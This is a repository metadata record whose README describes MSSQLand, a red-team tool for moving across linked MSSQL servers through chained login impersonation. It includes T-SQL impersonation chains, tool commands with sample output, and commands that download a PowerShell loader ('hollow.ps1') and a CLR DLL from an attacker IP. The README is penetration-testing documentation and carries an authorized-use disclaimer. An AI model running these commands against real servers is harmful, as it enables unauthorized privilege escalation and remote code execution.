{"id":24570104,"url":"https://github.com/n3rada/mssqland","last_synced_at":"2025-03-17T06:47:41.376Z","repository":{"id":273438485,"uuid":"914747190","full_name":"n3rada/MSSQLand","owner":"n3rada","description":"Interract with Microsoft SQL Server (MS SQL | MSSQL) servers and their linked instances in restricted environments, without the need for complex T-SQL queries.","archived":false,"fork":false,"pushed_at":"2025-03-15T09:06:38.000Z","size":1185,"stargazers_count":14,"open_issues_count":0,"forks_count":3,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-15T10:19:20.699Z","etag":null,"topics":["mssql","mssql-tools","osep","red-team","red-teaming-tools","t-sql"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/n3rada.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-01-10T08:20:11.000Z","updated_at":"2025-03-15T09:06:41.000Z","dependencies_parsed_at":"2025-01-20T23:23:04.532Z","dependency_job_id":"c2013053-8ee6-42c9-8a80-33149a91b3c3","html_url":"https://github.com/n3rada/MSSQLand","commit_stats":null,"previous_names":["n3rada/mssqland"],"tags_count":6,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/n3rada%2FMSSQLand","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/n3rada%2FMSSQLand/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/n3rada%2FMSSQLand/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/n3rada%2FMSSQLand/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/n3rada","download_url":"https://codeload.github.com/n3rada/MSSQLand/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243988961,"owners_count":20379648,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["mssql","mssql-tools","osep","red-team","red-teaming-tools","t-sql"],"created_at":"2025-01-23T16:17:28.379Z","updated_at":"2025-03-17T06:47:41.370Z","avatar_url":"https://github.com/n3rada.png","language":"C#","funding_links":[],"categories":[],"sub_categories":[],"readme":"# ✈️ MSSQLand\nLand gracefully in your target MSSQL DBMS, as if arriving on a business-class flight with a champagne glass in hand. 🥂\n\n\u003cp align=\"center\"\u003e\n    \u003cimg width=\"350\" src=\"/media/MSSQLand__icon-nobg.png\" alt=\"MSSQLand Logo\"\u003e\n\u003c/p\u003e\n\nMSSQLand is the go-to tool for interacting with [Microsoft SQL Server (MSSQL)](https://en.wikipedia.org/wiki/Microsoft_SQL_Server) database management system (DBMS) in your red activities. Designed for constrained environments where operations must be executed directly through your beacon (For Linux-based usage, consider using [MSSqlPwner](https://github.com/ScorpionesLabs/MSSqlPwner)). It allows you to pave your way across multiple linked servers and impersonate anyone (authorised) on the road, popping out of the last hop with any desired action.\n\n## 📌 Documentation\n- For a full list of commands, arguments, and actions, check out [COMMANDS.md](./COMMANDS.md).\n- For an overview of the project structure, refer to [STRUCTURE.md](./STRUCTURE.md).\n\n## 📖 Example\nThe tool's output, enriched with timestamps and valuable contextual information, is designed to produce visually appealing and professional results, making it ideal for capturing high-quality screenshots for your reports.  All the output tables are Markdown-friendly and can be directly copied and pasted into your notes.\n\n![Searching pass](./media/example.png)\n\n## 👑 Show Time\nYou gain access to a database `SQL01` mapped to the user `dbo`. You need to impersonate `webapp02` in order to connect to linked database `SQL02`. In `SQL02`, you need to impersonate `webapp03` in order to go further and so on and so forth. Let's say you’ve landed an agent inside a `sqlservr.exe` process running under the high-privileged `NT AUTHORITY\\SYSTEM`. Lucky you!\n\nAfter some reconnaissance, you suspect this is a multi-hop linked server chain. Typing out all those **RPC** or **OPENQUERY** calls manually? \n\nThis is what it looks like to verify if you are `sysadmin` in `SQL03` when you have to impersonate `webapp03` on `SQL02` and `webapp04` on `SQL03`:\n\n- [OPENQUERY](https://learn.microsoft.com/fr-fr/sql/t-sql/functions/openquery-transact-sql) (If `sys.servers.is_data_access_enabled`):\n\n```sql\nSELECT * FROM OPENQUERY([SQL02], 'EXECUTE AS LOGIN = ''webapp03''; SELECT * FROM OPENQUERY([SQL03], ''EXECUTE AS LOGIN = ''''webapp04''''; SELECT IS_SRVROLEMEMBER(''''sysadmin''''); REVERT;'') REVERT;')\n```\n\n- [RPC Out](https://learn.microsoft.com/fr-fr/sql/t-sql/functions/openquery-transact-sql) (If `sys.servers.is_rpc_out_enabled`):\n\n```shell\nEXEC ('EXECUTE AS LOGIN = ''webapp03''; EXEC (''EXECUTE AS LOGIN = ''''webapp04''''; SELECT IS_SRVROLEMEMBER(''''sysadmin''''); REVERT;'') AT [SQL03]; REVERT;') AT [SQL02]\n```\n\nNo thanks 🚫. Let MSSQLand handle the heavy lifting so you can focus on the big picture. You've already impersonated multiple users on each hop, and now you want to enumerate links on `SQL04`:\n\n```shell\n.\\MSSQLand.exe /h:localhost:webapp02 /c:token /l:SQL02:webapp03,SQL03:webapp04,SQL04 /a:links\n```\n\nThe output is as follows:\n```txt\n[\u003e] Trying to connect with TokenCredentials\n[+] Connection opened successfully\n|-\u003e Server: localhost,1433\n|-\u003e Database: master\n|-\u003e Server Version: 15.00.2000\n|-\u003e Client Workstation ID: WS-445c74\n|-\u003e Client Connection ID: b7c172a7-c349-4268-a466-285d2af89fbb\n[i] Logged in on SQL01 as NT AUTHORITY\\SYSTEM\n|-\u003e Mapped to the user dbo\n[i] You can impersonate anyone on SQL01 as a sysadmin\n[+] Successfully impersonated user: webapp02\n[i] Logged in as webapp02\n|-\u003e Mapped to the user dbo\n[i] Execution chain: SQL02 -\u003e SQL03 -\u003e SQL04\n[i] Logged in on SQL04 as webapps\n|-\u003e Mapped to the user guest\n\n[\u003e] Executing action 'Links' against SQL04\n|-\u003e Retrieving Linked SQL Servers\n\n| Last Modified        | Link  | Product    | Provider | Data Source | Local Login | Remote Login | RPC Out | OPENQUERY | Collation |\n| -------------------- | ----- | ---------- | -------- | ----------- | ----------- | ------------ | ------- | --------- | --------- |\n| 7/7/2020 1:02:17 PM  | SQL05 | SQL Server | SQLNCLI  | SQL05       | webapp05    | webapps      | True    | True      | False     |\n```\n\nNow you want to verify who you can impersonate at the end of the chain:\n```shell\n.\\MSSQLand.exe /h:localhost:webapp02 /c:token /l:SQL02:webapp03,SQL03:webapp04,SQL04 /a:impersonate\n```\nThe output shows:\n\n```txt\n[\u003e] Trying to connect with TokenCredentials\n[+] Connection opened successfully\n|-\u003e Server: localhost,1433\n|-\u003e Database: master\n|-\u003e Server Version: 15.00.2000\n|-\u003e Client Workstation ID: WS-445c74\n|-\u003e Client Connection ID: b7c172a7-c349-4268-a466-285d2af89fbb\n[i] Logged in on SQL01 as NT AUTHORITY\\SYSTEM\n|-\u003e Mapped to the user dbo\n[i] You can impersonate anyone as a sysadmin\n[+] Successfully impersonated user: webapp02\n[i] Server chain: SQL02 -\u003e SQL03 -\u003e SQL04\n[i] Logged in as webapps\n|-\u003e Mapped to the user guest\n\n[\u003e] Executing action 'Impersonation' against SQL04\n|-\u003e Starting impersonation check for all logins\n|-\u003e Checking impersonation permissions individually\n\n| Logins      | Impersonation |\n| ----------- | ------------- |\n| sa          | No            |\n| MarieJo     | Yes           |\n| Imane       | Yes           |\n| John        | No            |\n```\n\nGreat! Now you can directly reach out to your loader with:\n```shell\n.\\MSSQLand.exe /h:localhost:webapp02 /c:token /l:SQL02:webapp03,SQL03:webapp04,SQL04:MarieJo /a:pwshdl \"172.16.118.218/d/g/hollow.ps1\"\n```\n\nOr even use Common Language Runtime (CLR) to load remotely a library with:\n```txt\n/a:clr \\\"http://172.16.118.218/d/SqlLibrary.dll\\\"\n```\n\n## 🫂 Contributing \nContributions to MSSQLand are welcome and appreciated! Whether it's fixing bugs, adding new features, improving the documentation, or sharing feedback, your effort is valued and makes a difference.\nOpen-source thrives on collaboration and recognition. Contributions, large or small, help improve the tool and its community. Your time and effort are truly valued. \n\nHere, no one will be erased from Git history. No fear to have here—no one will copy-paste your code without adhering to the collaborative ethos of open-source.\n\nPlease see the [CONTRIBUTING.md](./CONTRIBUTING.md) for detailed guidelines on how to get started.\n\n## 🥚 Origin \nMSSQLand was initially inspired by [SQLRecon](https://github.com/skahwah/SQLRecon), which provided a solid foundation for MS SQL post-exploitation and reconnaissance. However, during my contributions to SQLRecon — particularly in addressing [chained linked server traversal](https://github.com/skahwah/SQLRecon/issues/16#issuecomment-2048435229) and enhancing user impersonation — I encountered significant roadblocks in how contributions were handled. [My pull request](https://github.com/skahwah/SQLRecon/pull/17), which introduced major improvements in impersonation, chaining, and context management, was ultimately not merged but copy pasted.\n\nRather than let this work go to waste, I decided to develop MSSQLand, an OOP-driven, modular, and community-friendly alternative. Unlike SQLRecon, which required deep refactoring to make simple modifications, MSSQLand was built with developers in mind. The tool is built with extensibility in mind, allowing integration of new features while maintaining clarity and simplicity. It aims to provide a structured, customizable, and operator-friendly experience for engagements requiring MS SQL exploitation.\n\nWhile I appreciate the inspiration SQLRecon provided, MSSQLand is designed to be open to contributions, transparent in development, and aligned with the collaborative spirit of open-source software. \n\n## ⚠️ Disclaimer\nThis tool is designed for educational purposes only and is intended to assist security professionals in understanding and testing the security of SQL Server environments in authorized engagements. It is specifically crafted to be used in controlled environments, such as:\n- Penetration testing labs (e.g., HackTheBox, OffSec exam scenarios).\n- Personal lab setups designed for ethical hacking and security research.\n\n## Legal Notice\nAny unauthorized use of this tool in real-world environments or against systems without explicit permission from the system owner is strictly prohibited and may violate legal and ethical standards. The creators and contributors of this tool are not responsible for any misuse or damage caused.\n\nUse responsibly and ethically. Always respect the law and obtain proper authorization.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fn3rada%2Fmssqland","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fn3rada%2Fmssqland","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fn3rada%2Fmssqland/lists"}